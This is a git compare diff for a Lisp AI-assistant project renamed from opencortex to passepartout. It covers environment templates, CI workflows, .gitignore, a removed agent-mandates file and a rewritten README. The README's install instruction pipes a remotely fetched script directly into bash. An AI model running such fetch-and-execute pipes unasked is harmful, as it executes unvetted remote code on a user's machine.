Compare commits
220 Commits
6aec587e90
...
feature/v0
| Author | SHA1 | Date | |
|---|---|---|---|
| 60ce9c894c | |||
| 36e7d51fce | |||
| af4d81ec9f | |||
| 79896c5ffd | |||
| 4b60e8c544 | |||
| 885fc3f92e | |||
| 6e69c4a724 | |||
| 761678bbd6 | |||
| 2d18fa4525 | |||
| f8d56cdeba | |||
| 00211cf685 | |||
| a8901d9675 | |||
| c227877302 | |||
| 8fd56dece3 | |||
| 27d203ad67 | |||
| 2ac87b626a | |||
|
|
d77d41f3a8 | ||
| 138f909a33 | |||
| b3ce9056de | |||
| 1201b916d8 | |||
| f7b3e20a15 | |||
| da5718b97c | |||
| 8aed017ccd | |||
| 4e756aeaa1 | |||
| d67c4022f7 | |||
| 49eec4b8ae | |||
| 06aff97b4e | |||
| 93a38d5308 | |||
| 7c84dbfacb | |||
| 7fca4189b9 | |||
| 4bd387e256 | |||
| 510643786b | |||
| 44f927e8f1 | |||
| 029a32ef64 | |||
| c959f93eb1 | |||
| 2e52bc4d13 | |||
| 19a9c99ef4 | |||
| 96370cc4b1 | |||
| 11c43f76fa | |||
| df09ac321d | |||
| 4e87cf6a03 | |||
| e3a6573542 | |||
| ca44136a55 | |||
| 26fd756222 | |||
| d2d61c5b44 | |||
| bec894ca4f | |||
| b40e1e2844 | |||
| 22878be710 | |||
| e3e62140ff | |||
| fa95e7fb62 | |||
| e05d23f34e | |||
| 6aab95e0c3 | |||
| fbed26f434 | |||
| f508dec080 | |||
| 30913bf327 | |||
| c8964d0249 | |||
| ce715b599c | |||
| 55e0c962f4 | |||
| 66df5b493a | |||
| 72f032fd67 | |||
| b6858707bc | |||
| 0c22505970 | |||
| deae08ab44 | |||
| 19a8b66ef9 | |||
| 04c219468d | |||
| f6079246ee | |||
| c86d079418 | |||
| 0b1fbc36bb | |||
| 429abedb5a | |||
| 924bf8f479 | |||
| da160b71e3 | |||
| eeb1234086 | |||
| 791a0f9c3b | |||
| 639bc348d9 | |||
| d3b74f5c88 | |||
| 52a8386282 | |||
| f28363dc45 | |||
| a593b76015 | |||
| cd752bb4ad | |||
| c7e9893e68 | |||
| 7431121d42 | |||
| f6a70faffc | |||
| 0857a8a1db | |||
| c2e14a1268 | |||
| 98087b43c5 | |||
| 0e8ba36ddb | |||
| 55e27f5194 | |||
| a0f7bd7671 | |||
| 385a6497ac | |||
| 11254b56ec | |||
| 33993d2d73 | |||
| ae994fa452 | |||
| 9350cb855e | |||
| 0861ac26f1 | |||
| 4bed6dd461 | |||
| a31f19045a | |||
| d50d72656c | |||
| 9d591c85f1 | |||
| 15afa2bb52 | |||
| 42e07801ce | |||
| 1d91fcc6cc | |||
| 9e451841ce | |||
| 0b16c4829f | |||
| 39b6bef6e0 | |||
| 9130e08e92 | |||
| 183aeeedb8 | |||
| 1f8b821287 | |||
| 7d7a4be668 | |||
| 7c9cc629a1 | |||
| 750918527d | |||
| 9362c56678 | |||
| 26bfce61f1 | |||
| adea3714a7 | |||
| 712717a20c | |||
| ca70a61338 | |||
| 717d63d84a | |||
| 61ea5767d6 | |||
| cd86509e3a | |||
| 035aac45e3 | |||
| 299d501c88 | |||
| a2ede2dd89 | |||
| 23b8cfacd3 | |||
| 9281e37c01 | |||
| ad8242fee6 | |||
| 3d237e9c78 | |||
| 26d917dbc4 | |||
| 057bf9f3a8 | |||
| e0ff6a7563 | |||
| 7a455279b9 | |||
| a34b598858 | |||
| dcb5a1f1a6 | |||
| ea1150f38e | |||
| e5440487d4 | |||
| cfeb4e192c | |||
| 9dd0ed2f78 | |||
| 817d1c5fec | |||
| 11383a29d4 | |||
| 94b939f61a | |||
| d782f58291 | |||
| d8929aeb24 | |||
| 78705f55ec | |||
| f9ae84ba88 | |||
| a437b9c0df | |||
| 1456e59f7f | |||
| 740ff3bb89 | |||
| be6e14a62e | |||
| 54ce3713cd | |||
| cbbf409059 | |||
| 3c1ed77c85 | |||
| 9d7942dc1c | |||
| 8a7259c5c8 | |||
| d1951668cc | |||
| 1b4d147170 | |||
| 5ab54091c1 | |||
| 619407c6e6 | |||
| eb99847ccd | |||
| abfb7e5cf8 | |||
| 02e0c21f06 | |||
| 2e19db80ce | |||
| 31e53e675e | |||
| 3bb797ab9e | |||
| ef4ea1db1b | |||
| 908936d4d3 | |||
| 7dad50910f | |||
| 59fef20630 | |||
| 7393e69397 | |||
| 3c3557f519 | |||
| b728f73ded | |||
| ff64556924 | |||
| f27ab1f779 | |||
| d51e85bc9d | |||
| 9799b9db74 | |||
| b4150a9771 | |||
| 5d93f201be | |||
| a27a3d02b0 | |||
| 4ee85f3df0 | |||
| aedcfeda9f | |||
| 2af882852c | |||
| 4e5428bed0 | |||
| e5723cfd7f | |||
| ee81fa2755 | |||
| c2d3abe265 | |||
| e31ebb394c | |||
| b27ac4cd7f | |||
| deb30d25a9 | |||
| ce90fd3e72 | |||
| a16f973b50 | |||
| 3f51a772d4 | |||
| bbc5e4d8bf | |||
| e0a47575e9 | |||
| a77580c449 | |||
| 5e7b1cee33 | |||
| 231c3bb445 | |||
| 70c9a8775c | |||
| 529f8d0782 | |||
| 22697baa2d | |||
| 9151f4eff7 | |||
| a027e9d984 | |||
| b67cd12d88 | |||
| 836c9ba7b8 | |||
| ec882f87fb | |||
| 5a0d1b1c38 | |||
| 299f72c2bb | |||
| dd478d8a7b | |||
| e2fde5914e | |||
| 0760dc8012 | |||
| 227ad81b30 | |||
| b6923d5584 | |||
| d35aea391e | |||
| 95d1ea3fed | |||
| d803889c01 | |||
| 5a3538ece1 | |||
| f1e375f237 | |||
| f80c16eed9 | |||
| 0d6854e610 | |||
| 2c5a271262 | |||
| 41de20d3f1 | |||
| 9e77958028 | |||
| 9191aecab2 | |||
| 48520ec517 |
59
.env.example
59
.env.example
@@ -1,4 +1,4 @@
|
||||
# opencortex: Environment Configuration Template
|
||||
# passepartout: Environment Configuration Template
|
||||
# Copy this to .env and fill in your values
|
||||
|
||||
# =============================================================================
|
||||
@@ -15,23 +15,29 @@ OPENAI_API_KEY="your_openai_key_here"
|
||||
ANTHROPIC_API_KEY="your_anthropic_key_here"
|
||||
GROQ_API_KEY="your_groq_api_key_here"
|
||||
GEMINI_API_KEY="your_gemini_key_here"
|
||||
DEEPSEEK_API_KEY="your_deepseek_key_here"
|
||||
NVIDIA_API_KEY="your_nvidia_nim_key_here"
|
||||
|
||||
# Cascade order (first available provider wins)
|
||||
PROVIDER_CASCADE="openrouter,openai,anthropic,groq,gemini-api,ollama"
|
||||
# Default (if unset): openrouter,openai,anthropic,groq,gemini-api,deepseek,nvidia
|
||||
PROVIDER_CASCADE=deepseek,openrouter,openai,anthropic,groq,gemini,nvidia
|
||||
|
||||
# =============================================================================
|
||||
# LOCAL LLM (Ollama - runs offline)
|
||||
# LOCAL LLM (generic OpenAI-compatible endpoint)
|
||||
# =============================================================================
|
||||
# Set this to the base URL of any local OpenAI-compatible server
|
||||
# (llama.cpp, Ollama, vLLM, LM Studio, etc.)
|
||||
LOCAL_BASE_URL="localhost:8080"
|
||||
|
||||
# Ollama host (legacy: falls back to LOCAL_BASE_URL if not set)
|
||||
OLLAMA_HOST="localhost:11434"
|
||||
|
||||
# llama.cpp backend (for local GGUF models)
|
||||
LLAMA_HOST="localhost:8080"
|
||||
|
||||
# =============================================================================
|
||||
# VECTOR EMBEDDINGS (semantic search)
|
||||
# =============================================================================
|
||||
EMBEDDING_PROVIDER="ollama" # "ollama" or "llama.cpp"
|
||||
EMBEDDING_PROVIDER="hashing" # "hashing" (local, no deps), "local", or "openai"
|
||||
EMBEDDING_MODEL="nomic-embed-text" # model name for embeddings
|
||||
EMBEDDING_BASE_URL="https://api.openai.com/v1" # for :openai provider
|
||||
|
||||
# =============================================================================
|
||||
# MESSAGING GATEWAYS (optional)
|
||||
@@ -52,14 +58,27 @@ SILENT_ACTUATORS="cli,system-message,emacs"
|
||||
# =============================================================================
|
||||
# SECURITY
|
||||
# =============================================================================
|
||||
SAFETY_BLOCK_SHELL=true
|
||||
PROTOCOL_ENFORCE_HMAC=false
|
||||
PROTOCOL_HMAC_SECRET="change-this-to-a-secure-random-string"
|
||||
|
||||
# Privacy filter tags: comma-separated list of tags that mark content as private.
|
||||
# Files/headings tagged with any of these will be filtered from LLM context.
|
||||
# Default: @personal
|
||||
PRIVACY_FILTER_TAGS="@personal,@health,@finance"
|
||||
|
||||
# =============================================================================
|
||||
# DISPATCHER RULE LEARNING
|
||||
# =============================================================================
|
||||
# Number of HITL approvals before a pattern becomes a permanent rule
|
||||
DISPATCHER_RULE_THRESHOLD=3
|
||||
|
||||
# Where learned rules are persisted
|
||||
RULES_FILE="$HOME/memex/system/rules.org"
|
||||
|
||||
# =============================================================================
|
||||
# BOOTSTRAP
|
||||
# =============================================================================
|
||||
MANDATORY_SKILLS="org-skill-policy,org-skill-bouncer"
|
||||
MANDATORY_SKILLS="security-policy,security-dispatcher"
|
||||
|
||||
# =============================================================================
|
||||
# CONTEXT / MEMORY
|
||||
@@ -79,3 +98,25 @@ AREAS_DIR="$HOME/memex/areas"
|
||||
RESOURCES_DIR="$HOME/memex/resources"
|
||||
ARCHIVES_DIR="$HOME/memex/archives"
|
||||
SYSTEM_DIR="$HOME/memex/system"
|
||||
LLM_REQUEST_TIMEOUT=30
|
||||
|
||||
# =============================================================================
|
||||
# TOKEN ECONOMICS (v0.5.0)
|
||||
# =============================================================================
|
||||
# Max tokens for the combined system prompt + context + user prompt.
|
||||
# Default: 16384 (half of a 32K context window, leaves room for model response).
|
||||
CONTEXT_MAX_TOKENS=16384
|
||||
|
||||
# Soft daily cost cap in USD. Warning injected into system prompt when
|
||||
# approaching budget.
|
||||
COST_BUDGET_DAILY=1.00
|
||||
|
||||
# v0.7.2: Privacy tag severity tiers. Format: @tag:block,@tag:warn,@tag:log
|
||||
# :block = filter content, :warn = log+allow, :log = silently record
|
||||
# Default: empty (no tags configured)
|
||||
#TAG_CATEGORIES=@personal:block,@financial:block,@draft:warn
|
||||
|
||||
# v0.7.2: Self-build core file protection mode
|
||||
# When true, writes to core-*.org and core-*.lisp require HITL approval.
|
||||
# Default: false (unrestricted — use during development)
|
||||
SELF_BUILD_MODE=false
|
||||
|
||||
@@ -1,44 +1,24 @@
|
||||
name: Deploy-Agent-V15-Stdin
|
||||
name: Deploy (Gitea)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
|
||||
jobs:
|
||||
JOB-V15-STDIN:
|
||||
deploy:
|
||||
runs-on: debian-latest
|
||||
steps:
|
||||
- name: Checkout Code
|
||||
uses: actions/checkout@v3
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Install Docker CLI
|
||||
run: |
|
||||
echo "Installing Docker CLI..."
|
||||
apt-get update
|
||||
apt-get install -y docker.io docker-compose
|
||||
apt-get update && apt-get install -y docker.io docker-compose
|
||||
|
||||
- name: Deploy via Host Docker Socket (Stdin Method)
|
||||
- name: Build and deploy via Docker Compose
|
||||
run: |
|
||||
echo "Piping local compose file to host Docker daemon..."
|
||||
|
||||
# We read the compose file from the checked-out code in the runner,
|
||||
# but we tell the host Docker daemon that the "project directory" is /memex/projects/opencortex.
|
||||
# The host daemon will use its own /memex files to build the image.
|
||||
|
||||
cat deploy/docker/docker-compose.yml | docker-compose \
|
||||
-p opencortex \
|
||||
--project-directory /memex/projects/opencortex \
|
||||
-f - \
|
||||
down
|
||||
|
||||
cat deploy/docker/docker-compose.yml | docker-compose \
|
||||
-p opencortex \
|
||||
--project-directory /memex/projects/opencortex \
|
||||
-f - \
|
||||
build --no-cache opencortex
|
||||
|
||||
cat deploy/docker/docker-compose.yml | docker-compose \
|
||||
-p opencortex \
|
||||
--project-directory /memex/projects/opencortex \
|
||||
-f - \
|
||||
up -d --force-recreate opencortex
|
||||
cd infrastructure/docker
|
||||
docker-compose -p passepartout down
|
||||
docker-compose -p passepartout build --no-cache passepartout
|
||||
docker-compose -p passepartout up -d --force-recreate passepartout
|
||||
|
||||
75
.github/workflows/lint.yml
vendored
75
.github/workflows/lint.yml
vendored
@@ -2,44 +2,73 @@ name: Lint
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [main]
|
||||
pull_request:
|
||||
branches: [main]
|
||||
tags:
|
||||
- 'v*'
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
runs-on: ubuntu-latest
|
||||
container:
|
||||
image: ubuntu:latest
|
||||
env:
|
||||
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
apt-get update && apt-get install -y --no-install-recommends \
|
||||
sudo apt-get update && sudo apt-get install -y --no-install-recommends \
|
||||
git emacs-nox
|
||||
|
||||
- name: Check for forbidden patterns
|
||||
run: |
|
||||
grep -r "json\." --include="*.lisp" . && \
|
||||
echo "ERROR: Found JSON usage in Lisp files" && exit 1 || \
|
||||
! grep -r "json\." --include="*.lisp" lisp/ && \
|
||||
echo "OK: No JSON in Lisp files"
|
||||
|
||||
- name: Check literate granularity
|
||||
- name: Check org files have lisp source blocks
|
||||
run: |
|
||||
find . -name "*.org" -path "./skills/*" -exec grep -L "#+begin_src lisp" {} \; | \
|
||||
grep -v "CLA\|CONTRIBUTING\|CHANGELOG" && \
|
||||
echo "WARNING: Some skills lack lisp blocks" || \
|
||||
echo "OK: All skills have lisp blocks"
|
||||
|
||||
- name: Verify .lisp files are generated
|
||||
run: |
|
||||
for f in library/gen/*.lisp; do
|
||||
org="${f%.lisp}.org"
|
||||
if [ -f "$org" ]; then
|
||||
: # generated, OK
|
||||
else
|
||||
echo "WARNING: $f has no corresponding .org source"
|
||||
FAIL=0
|
||||
for f in org/*.org; do
|
||||
if ! grep -q "#+begin_src lisp" "$f"; then
|
||||
echo "WARNING: $f has no lisp blocks"
|
||||
FAIL=1
|
||||
fi
|
||||
done
|
||||
done
|
||||
echo "OK: Org files checked for lisp blocks"
|
||||
|
||||
- name: Verify each .lisp has a corresponding .org source
|
||||
run: |
|
||||
FAIL=0
|
||||
for f in lisp/*.lisp; do
|
||||
[ -f "$f" ] || continue
|
||||
base=$(basename "$f" .lisp)
|
||||
if [ -f "org/${base}.org" ]; then
|
||||
: # direct match
|
||||
else
|
||||
# Check if generated from a parent org via :tangle header
|
||||
if grep -q ":tangle.*$(basename "$f")" org/*.org 2>/dev/null; then
|
||||
: # :tangle reference found
|
||||
else
|
||||
echo "WARNING: $f has no corresponding .org source"
|
||||
FAIL=1
|
||||
fi
|
||||
fi
|
||||
done
|
||||
[ "$FAIL" = 0 ] && echo "OK: All .lisp files have .org sources"
|
||||
|
||||
- name: Check literate granularity (one function per block)
|
||||
run: |
|
||||
for f in org/*.org; do
|
||||
blocks=$(grep -c "^[[:space:]]*(defun " "$f" 2>/dev/null || true)
|
||||
srcblocks=$(grep -c "#+begin_src lisp" "$f" 2>/dev/null || true)
|
||||
if [ "$blocks" -gt "$srcblocks" ] && [ "$srcblocks" -gt 0 ]; then
|
||||
echo "WARNING: $f has $blocks defuns but only $srcblocks src blocks"
|
||||
fi
|
||||
done
|
||||
echo "OK: Granularity check complete"
|
||||
|
||||
- name: Check README has quick install
|
||||
run: |
|
||||
grep -q "curl.*passepartout" README.org && \
|
||||
echo "OK: Quick install in README" || \
|
||||
echo "WARNING: Quick install curl command not found in README"
|
||||
|
||||
17
.github/workflows/release.yml
vendored
17
.github/workflows/release.yml
vendored
@@ -13,19 +13,28 @@ jobs:
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Create tarball
|
||||
run: |
|
||||
git archive --format=tar.gz --prefix=opencortex-$(git describe --tags) HEAD -o opencortex.tar.gz
|
||||
git archive --format=tar.gz --prefix=passepartout-$(git describe --tags) HEAD -o passepartout.tar.gz
|
||||
|
||||
- name: Create zipball
|
||||
run: |
|
||||
git archive --format=zip --prefix=opencortex-$(git describe --tags) HEAD -o opencortex.zip
|
||||
git archive --format=zip --prefix=passepartout-$(git describe --tags) HEAD -o passepartout.zip
|
||||
|
||||
- name: Extract tag message as release notes
|
||||
run: |
|
||||
git tag -l --format='%(contents)' ${GITHUB_REF#refs/tags/} > /tmp/release-notes.md
|
||||
echo "--- Notes preview ---"
|
||||
head -20 /tmp/release-notes.md
|
||||
|
||||
- name: Upload to GitHub Release
|
||||
uses: softprops/action-gh-release@v2
|
||||
with:
|
||||
files: |
|
||||
opencortex.tar.gz
|
||||
opencortex.zip
|
||||
passepartout.tar.gz
|
||||
passepartout.zip
|
||||
body_path: /tmp/release-notes.md
|
||||
generate_release_notes: true
|
||||
92
.github/workflows/test.yml
vendored
92
.github/workflows/test.yml
vendored
@@ -2,43 +2,91 @@ name: Tests
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [main]
|
||||
pull_request:
|
||||
branches: [main]
|
||||
tags:
|
||||
- 'v*'
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
container:
|
||||
image: statusoftech/sbcl:2.4.0
|
||||
env:
|
||||
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Install dependencies
|
||||
- name: Install system dependencies
|
||||
run: |
|
||||
apt-get update && apt-get install -y --no-install-recommends \
|
||||
git curl openssl make automake autoconf gcc clisp python3 python3-pip
|
||||
sudo apt-get update && sudo apt-get install -y --no-install-recommends \
|
||||
sbcl emacs-nox git curl socat rlwrap
|
||||
|
||||
- name: Install Quicklisp
|
||||
run: |
|
||||
curl -L https://beta.quicklisp.org/quicklisp.lisp -o /tmp/quicklisp.lisp
|
||||
sbcl --non-interactive \
|
||||
curl -fsSL https://beta.quicklisp.org/quicklisp.lisp -o /tmp/quicklisp.lisp
|
||||
sbcl --noinform --non-interactive \
|
||||
--load /tmp/quicklisp.lisp \
|
||||
--eval '(quicklisp-quickstart:install :path "~/quicklisp/")' \
|
||||
--eval '(ql:add-to-init-file)'
|
||||
--eval '(quicklisp-quickstart:install)'
|
||||
rm -f /tmp/quicklisp.lisp
|
||||
sbcl --noinform --non-interactive \
|
||||
--eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
|
||||
--eval '(ql:quickload :fiveam :silent t)' \
|
||||
--eval '(quit)'
|
||||
|
||||
- name: Install ASDF systems
|
||||
- name: Load and verify system
|
||||
run: |
|
||||
sbcl --non-interactive \
|
||||
--eval '(ql:quickload :opencortex)'
|
||||
env:
|
||||
HOME: /root
|
||||
export PASSEPARTOUT_DATA_DIR="$PWD/.github-test"
|
||||
mkdir -p "$PASSEPARTOUT_DATA_DIR/org" "$PASSEPARTOUT_DATA_DIR/lisp" "$PASSEPARTOUT_DATA_DIR/test"
|
||||
|
||||
- name: Run tests
|
||||
# Tangle org files into lisp/
|
||||
cp org/*.org "$PASSEPARTOUT_DATA_DIR/org/"
|
||||
cd "$PASSEPARTOUT_DATA_DIR/org" && for f in *.org; do
|
||||
if command -v emacs; then
|
||||
emacs -Q --batch --eval "(require 'org)" \
|
||||
--eval "(setq org-confirm-babel-evaluate nil)" \
|
||||
--eval "(org-babel-tangle-file \"$f\")" 2>/dev/null || true
|
||||
fi
|
||||
done
|
||||
rm -f *.org
|
||||
cd "$OLDPWD"
|
||||
|
||||
# Move test files to test/
|
||||
find "$PASSEPARTOUT_DATA_DIR/lisp" -name "*-tests.lisp" -exec mv {} "$PASSEPARTOUT_DATA_DIR/test/" \; 2>/dev/null || true
|
||||
|
||||
- name: Load passepartout and initialize skills
|
||||
run: |
|
||||
export PASSEPARTOUT_DATA_DIR="$PWD/.github-test"
|
||||
sbcl --non-interactive \
|
||||
--eval '(ql:quickload :opencortex/tests)' \
|
||||
--eval '(uiop:quit 0)'
|
||||
env:
|
||||
HOME: /root
|
||||
--eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
|
||||
--eval "(push (truename \"$PWD/\") asdf:*central-registry*)" \
|
||||
--eval "(push (truename \"$PASSEPARTOUT_DATA_DIR/\") asdf:*central-registry*)" \
|
||||
--eval '(ql:quickload :passepartout :silent t)' \
|
||||
--eval "(setf (uiop:getenv \"PASSEPARTOUT_DATA_DIR\") \"$PASSEPARTOUT_DATA_DIR\")" \
|
||||
--eval '(passepartout:skill-initialize-all)' \
|
||||
--eval "(let ((n (hash-table-count passepartout:*skill-registry*))) (format t \"~%Skills loaded: ~a~%\" n) (unless (>= n 10) (sb-ext:exit :code 1)))"
|
||||
|
||||
- name: Daemon smoke test
|
||||
run: |
|
||||
export PASSEPARTOUT_DATA_DIR="$PWD/.github-test"
|
||||
sbcl --non-interactive \
|
||||
--eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
|
||||
--eval "(push (truename \"$PWD/\") asdf:*central-registry*)" \
|
||||
--eval "(push (truename \"$PASSEPARTOUT_DATA_DIR/\") asdf:*central-registry*)" \
|
||||
--eval '(ql:quickload :passepartout :silent t)' \
|
||||
--eval "(setf (uiop:getenv \"PASSEPARTOUT_DATA_DIR\") \"$PASSEPARTOUT_DATA_DIR\")" \
|
||||
--eval '(passepartout:main)' \
|
||||
> /tmp/passepartout-daemon.log 2>&1 &
|
||||
DAEMON_PID=$!
|
||||
|
||||
for i in $(seq 1 20); do
|
||||
if ss -tln 2>/dev/null | grep -q 9105; then
|
||||
echo "✓ Daemon ready on port 9105"
|
||||
timeout 3 bash -c 'exec 3<>/dev/tcp/localhost/9105; head -c 200 <&3' 2>/dev/null | grep -q "handshake" && \
|
||||
echo "✓ Protocol handshake received"
|
||||
break
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
|
||||
kill $DAEMON_PID 2>/dev/null || true
|
||||
wait $DAEMON_PID 2>/dev/null || true
|
||||
echo "✓ Daemon smoke test passed"
|
||||
|
||||
12
.gitignore
vendored
12
.gitignore
vendored
@@ -1,8 +1,16 @@
|
||||
.env
|
||||
opencortex-server
|
||||
passepartout-server
|
||||
\$MEMEX_DIR/
|
||||
*.log
|
||||
*~
|
||||
\#*#
|
||||
opencortex-tui
|
||||
passepartout-tui
|
||||
test_input.txt
|
||||
|
||||
# Generated artifacts (source of truth is .org)
|
||||
/skills/*.lisp
|
||||
/tmp/*.lisp
|
||||
*.fasl
|
||||
docs/#DESIGN_DECISIONS.org# docs/DESIGN_DECISIONS.org~
|
||||
extras/*.elc
|
||||
state/
|
||||
|
||||
1528
CHANGELOG.org
Normal file
1528
CHANGELOG.org
Normal file
File diff suppressed because it is too large
Load Diff
18
GEMINI.md
18
GEMINI.md
@@ -1,18 +0,0 @@
|
||||
# OpenCortex Agent Mandates
|
||||
|
||||
This file defines mandatory workflows and technical standards for the Gemini CLI agent operating within the OpenCortex environment. These mandates supersede general defaults.
|
||||
|
||||
## Lisp Integrity Mandates
|
||||
- **Validation:** Before applying any change to a `.lisp` file or a Lisp block in an `.org` file, you MUST use `utils-lisp-validate` to ensure structural and semantic integrity.
|
||||
- **Formatting:** All generated Lisp code MUST be piped through `utils-lisp-format` to maintain project-standard indentation before being saved.
|
||||
- **Structural Editing:** When modifying complex Lisp forms (nested macros or large functions), prefer using `utils-lisp-structural-extract` and `utils-lisp-structural-wrap` to avoid manual parenthesis errors.
|
||||
- **Verification:** For new or non-trivial logic, use `utils-lisp-eval` to test the behavior of the isolated S-expression in a live REPL environment before tangling.
|
||||
|
||||
## Literate Org Mandates
|
||||
- **AST Integrity:** When modifying Org files, utilize `utils-org-set-property`, `utils-org-set-todo`, and `utils-org-add-headline` to manipulate the document structure programmatically whenever possible.
|
||||
- **ID Management:** Every new headline intended for tracking or tangling MUST have a unique ID generated via `utils-org-generate-id`.
|
||||
|
||||
## Engineering Workflow
|
||||
- **Commit-Before-Modify:** Verify the git state is clean before starting a multi-file refactor.
|
||||
- **Tangle Sync:** After modifying any `.org` file, you MUST ensure the corresponding `.lisp` artifacts are tangled and in sync.
|
||||
- **Validation:** Run the project-specific test suite (`sbcl --load opencortex.asd`) after every significant change to verify system stability.
|
||||
184
README.org
184
README.org
@@ -1,97 +1,163 @@
|
||||
#+TITLE: OpenCortex: Your Autonomous, Plain-Text Life Assistant
|
||||
#+TITLE: Passepartout — The Plain-Text AI Assistant That Never Gets More Expensive
|
||||
#+AUTHOR: Amr
|
||||
#+FILETAGS: :opencortex:ai:assistant:
|
||||
#+FILETAGS: :passepartout:ai:assistant:
|
||||
|
||||
* Meet OpenCortex
|
||||
#+HTML: <div style="display: flex; gap: 8px; flex-wrap: wrap; margin-bottom: 1em;">
|
||||
#+HTML: <img src="https://img.shields.io/badge/version-v0.7.2-blue?style=flat-square">
|
||||
#+HTML: <img src="https://img.shields.io/badge/license-AGPLv3-green?style=flat-square">
|
||||
#+HTML: <img src="https://img.shields.io/badge/Lisp-Common%20Lisp-forestgreen?style=flat-square">
|
||||
#+HTML: <img src="https://img.shields.io/badge/docs-Org--mode-darkgreen?style=flat-square">
|
||||
#+HTML: </div>
|
||||
|
||||
Most AI assistants are just chatbots. You ask a question, they answer, they forget you exist. They trap your conversations in proprietary web apps and silo your data.
|
||||
Passepartout is an AI assistant that runs in your terminal. It reads and writes your Org-mode files, executes tasks through a verified safety gate, and works fully offline with local LLMs. Every action the LLM proposes is checked by ten deterministic safety gates before it touches a file, runs a command, or sends a message. The LLM suggests. The gate decides.
|
||||
Everything it knows is a folder of plain text files that you own.
|
||||
|
||||
*OpenCortex is different. It is an AI that lives inside your own text files.*
|
||||
*Install:*
|
||||
|
||||
It runs locally on your machine. It reads your notes, organizes your life, executes tasks, and gardens your knowledge base—all while keeping your data in plain text files you own completely.
|
||||
#+begin_src bash
|
||||
curl -fsSL https://raw.githubusercontent.com/amrgharbeia/passepartout/main/passepartout | bash -s configure
|
||||
#+end_src
|
||||
|
||||
* Why OpenCortex Exists
|
||||
This installs dependencies (SBCL, Quicklisp), tangles the Org source files, and runs the setup wizard for LLM providers. Requires curl and sudo access for package installation.
|
||||
|
||||
The current generation of AI agents have a fundamental flaw: they prioritize quick demos over long-term reliability and user sovereignty.
|
||||
* What is an AI Agent?
|
||||
|
||||
The biggest problem is data ownership. Most agents bury your memories in opaque databases. If you want to see your own data, you have to ask the AI to fetch it. If the app shuts down, your data is gone.
|
||||
An AI agent is a program that can act on your behalf — reading files, running commands, sending messages — rather than just answering questions. Unlike a chatbot that only produces text, an agent has /actuators/ that let it affect the world: a shell, a file editor, a message sender. See [[https://en.wikipedia.org/wiki/Software_agent][Software agent]] on Wikipedia.
|
||||
|
||||
OpenCortex solves this with total plain-text transparency. Your entire life is a folder of text files. OpenCortex manages them the same way you do—with any text editor. No database to migrate, no schema to update, no lock-in.
|
||||
Passepartout is a /sovereign/ agent: it runs on your machine, operates on your plain-text files, and verifies every action through deterministic safety gates before execution.
|
||||
|
||||
* What Makes OpenCortex Different
|
||||
* What Makes Passepartout Different
|
||||
|
||||
Most AI agents are Python applications that happened to call an LLM. OpenCortex is different. It is built in pure Common Lisp—top to bottom, no wrapper, no translation layer.
|
||||
** Every action is verified, not trusted.
|
||||
|
||||
The kernel is Lisp. The skills are Lisp. The memory system is Lisp. The TUI is Lisp. One language from the hardware to the agent's thoughts.
|
||||
Most AI agents add safety checks as an afterthought — prompt-based guardrails that consume LLM tokens and can be evaded with clever phrasing. Passepartout inverts this: ten deterministic safety gates run in pure Lisp between the LLM's proposal and execution. Secret scanning checks for API key leaks. Path protection blocks reads and writes to sensitive files, including a self-build safety boundary that prevents the agent from modifying its own core pipeline without human review. Shell safety detects destructive commands and injection vectors. Network exfiltration detection flags unauthorized outbound connections. Lisp syntax validation catches malformed code before it writes to disk.
|
||||
|
||||
Python agents need a second language for configuration (YAML), a third for memory (JSON or SQLite), and a fourth for deployment (Docker). OpenCortex needs SBCL. That's it.
|
||||
Every gate costs 0 LLM tokens. Every gate is a Common Lisp function, not a prompt. Every gate runs for every action, unconditionally.
|
||||
|
||||
This is not nostalgia for the 1980s. Lisp has two properties that matter for an autonomous agent.
|
||||
If a gate blocks a proposal, the rejection feedback goes back to the LLM so it can self-correct and try again. If the deterministic Dispatcher is uncertain, it creates a Flight Plan — a human-readable Org buffer you review and approve. The human decides. The Dispatcher learns from your decision and writes a rule for next time.
|
||||
|
||||
First, code is data. In Lisp, the agent can read its own code the same way it reads a text file. It can parse its skills, understand their structure, and modify them at runtime. Python's AST is a foreign object—the agent can inspect it, but not treat it as something it owns.
|
||||
** The more you use it, the cheaper it gets (architectural aspiration)
|
||||
|
||||
Second, stability. The Common Lisp specification has been stable for decades. Your code does not break because a library changed its API. Dependencies do not rot. A Lisp program from 1995 still runs today.
|
||||
Passepartout is designed with a downward cost curve — an architectural property, not yet measured empirically. Here is the thesis.
|
||||
|
||||
Your data lives in Org-mode files. Not a database. Not JSON. Not a vector store. Just plain text that you can read in any editor, search with grep, and back up any way you want.
|
||||
When you use Passepartout, the Dispatcher observes every blocked action and every human-approved exception. Each decision becomes a deterministic rule. A file write you approved once becomes an allowed path pattern. A shell command you denied becomes a permanent block. Each hardened rule means one fewer LLM call next time. This rule-learning system is planned for v0.5.0.
|
||||
|
||||
This matters because every other agent makes your data dependent on their app. Their database schema defines what you can store. Their migration scripts decide whether your data survives an upgrade. OpenCortex has no schema. Your memory is a folder of text files. It survives app updates, platform switches, and decades of use.
|
||||
